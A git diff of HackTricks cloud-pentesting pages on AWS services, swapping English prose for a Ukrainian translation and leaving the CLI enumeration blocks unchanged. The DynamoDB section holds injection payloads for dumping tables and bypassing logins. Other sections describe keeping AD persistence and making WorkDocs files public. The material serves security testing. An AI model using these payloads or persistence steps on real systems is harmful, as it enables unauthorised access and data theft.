b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline призначений для полегшення **доступу, перетворення та ефективної передачі** даних в масштабах. Він дозволяє виконувати наступні операції: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Доступ до ваших даних, де б вони не зберігалися**: Дані, що зберігаються в різних сервісах AWS, можна отримати безперешкодно. +2. **Перетворення та обробка в масштабах**: Завдання з обробки та перетворення даних великого обсягу виконуються ефективно. +3. **Ефективна передача результатів**: Оброблені дані можуть бути ефективно передані до кількох сервісів AWS, включаючи: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +По суті, AWS Data Pipeline спрощує переміщення та обробку даних між різними обчислювальними та сховищами AWS, а також локальними джерелами даних, у визначені інтервали. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами datapipeline для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline - це повністю керована **послуга безперервної доставки**, яка допомагає вам **автоматизувати ваші конвеєри випуску** для швидких і надійних оновлень додатків та інфраструктури. CodePipeline автоматизує **етапи збірки, тестування та розгортання** вашого процесу випуску щоразу, коли відбувається зміна коду, на основі моделі випуску, яку ви визначаєте. ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами codepipeline для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +Це **сервіс контролю версій**, який хоститься та повністю управляється Amazon, і може бути використаний для приватного зберігання даних (документів, бінарних файлів, вихідного коду) та їх управління в хмарі. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +Це **усуває** необхідність для користувача знати Git та **управляти власною системою контролю версій** або турбуватися про масштабування своєї інфраструктури. Codecommit підтримує всі стандартні **функції, які можна знайти в Git**, що означає, що він без зусиль працює з поточними інструментами на базі Git користувача. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Посилання - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..81826e93b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service для Microsoft Active Directory - це керована служба, яка спрощує **налаштування, експлуатацію та масштабування каталогу** в AWS Cloud. Вона побудована на основі **Microsoft Active Directory** і тісно інтегрується з іншими службами AWS, що полегшує управління вашими робочими навантаженнями, що знають про каталог, та ресурсами AWS. З AWS Managed Microsoft AD ви можете **використовувати свої існуючі** користувачі, групи та політики Active Directory для управління доступом до ваших ресурсів AWS. Це може допомогти спростити управління ідентичністю та зменшити потребу в додаткових рішеннях для ідентифікації. AWS Managed Microsoft AD також забезпечує автоматичні резервні копії та можливості відновлення після катастроф, що допомагає забезпечити доступність та надійність вашого каталогу. Загалом, AWS Directory Service для Microsoft Active Directory може допомогти вам заощадити час і ресурси, надаючи керовану, високо доступну та масштабовану службу Active Directory в AWS Cloud. ### Options -Directory Services allows to create 5 types of directories: +Directory Services дозволяє створювати 5 типів каталогів: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: Який запустить новий **Microsoft AD в AWS**. Ви зможете встановити пароль адміністратора та отримати доступ до DC у VPC. +- **Simple AD**: Який буде **Linux-Samba** сервером, сумісним з Active Directory. Ви зможете встановити пароль адміністратора та отримати доступ до DC у VPC. +- **AD Connector**: Проксі для **перенаправлення запитів каталогу до вашого існуючого Microsoft Active Directory** без кешування будь-якої інформації в хмарі. Він буде слухати в **VPC**, і вам потрібно надати **облікові дані для доступу до існуючого AD**. +- **Amazon Cognito User Pools**: Це те ж саме, що і Cognito User Pools. +- **Cloud Directory**: Це **найпростіший** варіант. **Безсерверний** каталог, де ви вказуєте **схему** для використання та **оплачуєте відповідно до використання**. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +AWS Directory services дозволяє **синхронізувати** з вашим існуючим **локальним** Microsoft AD, **запустити свій власний** в AWS або синхронізувати з **іншими типами каталогів**. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +Тут ви можете знайти гарний посібник для створення власного Microsoft AD в AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Зверніть увагу, що якщо **опис** каталогу містить **домен** у полі **`AccessUrl`**, це означає, що **користувач** ймовірно може **увійти** зі своїми **обліковими даними AD** в деякі **AWS сервіси:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +**Користувачу AD** можна надати **доступ до консолі управління AWS** через роль, яку потрібно прийняти. **Ім'я користувача за замовчуванням - Admin** і можливе **зміна його пароля** з консолі AWS. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Отже, можливо **змінити пароль Admin**, **створити нового користувача** або **змінити пароль** користувача та надати цьому користувачу роль для підтримки доступу.\ +Також можливо **додати користувача до групи в AD** та **надати цій групі AD доступ до ролі** (щоб зробити цю стійкість більш непомітною). ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +Можливо поділитися середовищем AD від жертви до атакуючого. Таким чином, атакуючий зможе продовжувати доступ до середовища AD.\ +Однак це передбачає спільне використання керованого AD та також створення з'єднання VPC peering. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Ви можете знайти посібник тут: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +Не виглядає можливим надати доступ до AWS користувачам з іншого середовища AD до одного облікового запису AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs - це хмарна **служба зберігання та обміну файлами**. Вона є частиною набору хмарних обчислювальних послуг AWS і призначена для забезпечення безпечного та масштабованого рішення для організацій для зберігання, обміну та співпраці над файлами та документами. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs надає веб-інтерфейс для користувачів для завантаження, доступу та управління своїми файлами та документами. Він також пропонує такі функції, як контроль версій, спільна робота в реальному часі та інтеграція з іншими сервісами AWS та сторонніми інструментами. ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..96e99c013 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, що пропонує сумісність з MongoDB, представлений як **швидка, надійна та повністю керована служба бази даних**. Розроблений для простоти в розгортанні, експлуатації та масштабуванні, він дозволяє **безперешкодну міграцію та експлуатацію баз даних, сумісних з MongoDB, у хмарі**. Користувачі можуть використовувати цю службу для виконання свого існуючого коду додатків і використовувати знайомі драйвери та інструменти, що забезпечує плавний перехід та експлуатацію, подібну до роботи з MongoDB. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` - ### NoSQL Injection -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +Оскільки DocumentDB є базою даних, сумісною з MongoDB, ви можете уявити, що вона також вразлива до поширених атак NoSQL injection: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -40,7 +38,3 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..7df1d5eef 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -4,30 +4,29 @@ ## DynamoDB -### Basic Information +### Основна інформація -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB представлений AWS як **повністю керована, безсерверна, ключ-значення NoSQL база даних**, призначена для підтримки високопродуктивних додатків незалежно від їх розміру. Сервіс забезпечує надійні функції, включаючи вбудовані заходи безпеки, безперервні резервні копії, автоматичну реплікацію в кількох регіонах, інтегроване кешування в пам'яті та зручні утиліти для експорту даних. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +У контексті DynamoDB, замість створення традиційної бази даних, **створюються таблиці**. Кожна таблиця вимагає вказівки **ключа розділу** як невід'ємної частини **первинного ключа таблиці**. Цей ключ розділу, по суті, є **хеш-значенням**, відіграє критичну роль як у отриманні елементів, так і в розподілі даних між різними хостами. Цей розподіл є вирішальним для підтримки як масштабованості, так і доступності бази даних. Крім того, є можливість додати **ключ сортування** для подальшого уточнення організації даних. -### Encryption +### Шифрування -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +За замовчуванням, DynamoDB використовує ключ KMS, який \*\*належить Amazon DynamoDB,\*\* навіть не керований ключ AWS, який принаймні належить вашому обліковому запису.
-### Backups & Export to S3 +### Резервні копії та експорт до S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +Можливо **планувати** створення **резервних копій таблиць** або створювати їх за **запитом**. Крім того, також можливо активувати **відновлення на момент часу (PITR) для таблиці.** Відновлення на момент часу забезпечує безперервні **резервні копії** ваших даних DynamoDB на **35 днів**, щоб допомогти вам захиститися від випадкових операцій запису або видалення. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +Також можливо експортувати **дані таблиці до S3**, але таблиця повинна мати **активований PITR**. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) - -### Enumeration +Існує GUI для локальних сервісів Dynamo, таких як [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) тощо, які можуть бути корисними: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +### Перерахування ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,60 +53,57 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### Підвищення привілеїв {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Постійність {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## Впровадження в DynamoDB -### SQL Injection +### SQL-ін'єкція -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Існують способи доступу до даних DynamoDB з використанням **SQL-синтаксису**, тому типові **SQL-ін'єкції також можливі**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### NoSQL-ін'єкція -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +У DynamoDB можна використовувати різні **умови** для отримання даних, як у звичайній NoSQL-ін'єкції, якщо можливо **з'єднати більше умов для отримання** даних, ви можете отримати приховані дані (або вивантажити всю таблицю).\ +Тут ви можете знайти умови, підтримувані DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Зверніть увагу, що **підтримуються різні умови**, якщо дані отримуються через **`query`** або через **`scan`**. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> Насправді, **Query** дії повинні вказувати **умову "EQ" (дорівнює)** в **первинному** ключі, щоб працювати, що робить їх набагато **менш вразливими до NoSQL-ін'єкцій** (і також обмежує операцію). +Якщо ви можете **змінити порівняння**, що виконується, або додати нові, ви можете отримати більше даних. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} @@ -115,68 +111,54 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Raw Json injection > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **Ця вразливість базується на Scan Filter dynamodb, який тепер застарілий!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** приймає **Json** об'єкти для **пошуку** даних у БД. Якщо ви виявите, що можете записувати в json об'єкт, надісланий для пошуку, ви зможете зробити дамп БД, всієї її вмісту. +Наприклад, інжектуючи в запит, як: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +зловмисник міг би ввести щось на зразок: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +виправити умову "EQ", шукаючи ID 1000, а потім шукати всі дані з рядком Id, що перевищує 0, що є всіма. +Ще один **вразливий приклад з використанням входу** може бути: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +Це буде вразливим до: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Деякі SDK дозволяють використовувати рядок, що вказує на фільтрацію, яка має бути виконана, наприклад: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +Вам потрібно знати, що пошук у DynamoDB для **заміни** значення **атрибута** в **виразах фільтра** під час сканування елементів, токени повинні **починатися** з символу **`:`**. Такі токени будуть **замінені** на фактичне **значення атрибута під час виконання**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Отже, вхід, подібний до попереднього, можна обійти за допомогою чогось на зразок: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..8d0df6dc2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Дізнайтеся, що таке VPC та про його компоненти в: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 використовується для ініціювання **віртуальних серверів**. Він дозволяє налаштовувати **безпеку** та **мережі** і управляти **зберіганням**. Гнучкість Amazon EC2 очевидна в його здатності масштабувати ресурси як вгору, так і вниз, ефективно адаптуючись до змін вимог або сплесків популярності. Ця функція зменшує необхідність у точних прогнозах трафіку. -Interesting things to enumerate in EC2: +Цікаві речі для перерахунку в EC2: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Віртуальні машини +- SSH ключі +- Дані користувача +- Існуючі EC2/AMIs/Снімки +- Мережі +- Мережі +- Підмережі +- Публічні IP +- Відкриті порти +- Інтегровані з'єднання з іншими мережами поза AWS ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +Використання **ролей** для надання дозволів додаткам, які працюють на **EC2 інстансах**, вимагає деякої додаткової конфігурації. Додаток, що працює на EC2 інстансі, абстрагується від AWS віртуалізованою операційною системою. Через це додаткове розділення вам потрібно виконати додатковий крок, щоб призначити роль AWS та її пов'язані дозволи EC2 інстансу та зробити їх доступними для його додатків. -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Цей додатковий крок - це **створення** [_**профілю інстансу**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), прикріпленого до інстансу. **Профіль інстансу містить роль і** може надати тимчасові облікові дані ролі додатку, що працює на інстансі. Ці тимчасові облікові дані можуть бути використані в API викликах додатку для доступу до ресурсів і для обмеження доступу лише до тих ресурсів, які вказує роль. Зверніть увагу, що **лише одна роль може бути призначена EC2 інстансу** одночасно, і всі додатки на інстансі ділять одну й ту ж роль і дозволи. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +Метадані AWS EC2 - це інформація про інстанс Amazon Elastic Compute Cloud (EC2), яка доступна для інстансу під час виконання. Ці метадані використовуються для надання інформації про інстанс, такої як його ідентифікатор інстансу, зона доступності, в якій він працює, IAM роль, пов'язана з інстансом, та ім'я хоста інстансу. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,22 +127,21 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Неавтентифікований доступ {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### Privesc +### Підвищення привілеїв -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами EC2 для підвищення привілеїв**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### Післяексплуатація {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **знімки** в основному є статичними **резервними копіями** обсягів AWS EBS. Іншими словами, це **копії** **дисків**, підключених до **EC2** екземпляра в певний момент часу. Знімки EBS можуть бути скопійовані між регіонами та обліковими записами, або навіть завантажені та запущені локально. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Знімки можуть містити **чутливу інформацію**, таку як **джерельний код або ключі API**, тому, якщо у вас є можливість, рекомендується перевірити це. -### Difference AMI & EBS +### Різниця AMI та EBS -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +**AMI** використовується для **запуску EC2 екземпляра**, тоді як **знімок** EC2 використовується для **резервного копіювання та відновлення даних, збережених на обсязі EBS**. Хоча знімок EC2 може бути використаний для створення нового AMI, це не те саме, що AMI, і він не містить інформації про операційну систему, сервер додатків або інше програмне забезпечення, необхідне для запуску програми. -### Privesc +### Підвищення привілеїв -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами EBS для підвищення привілеїв**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems 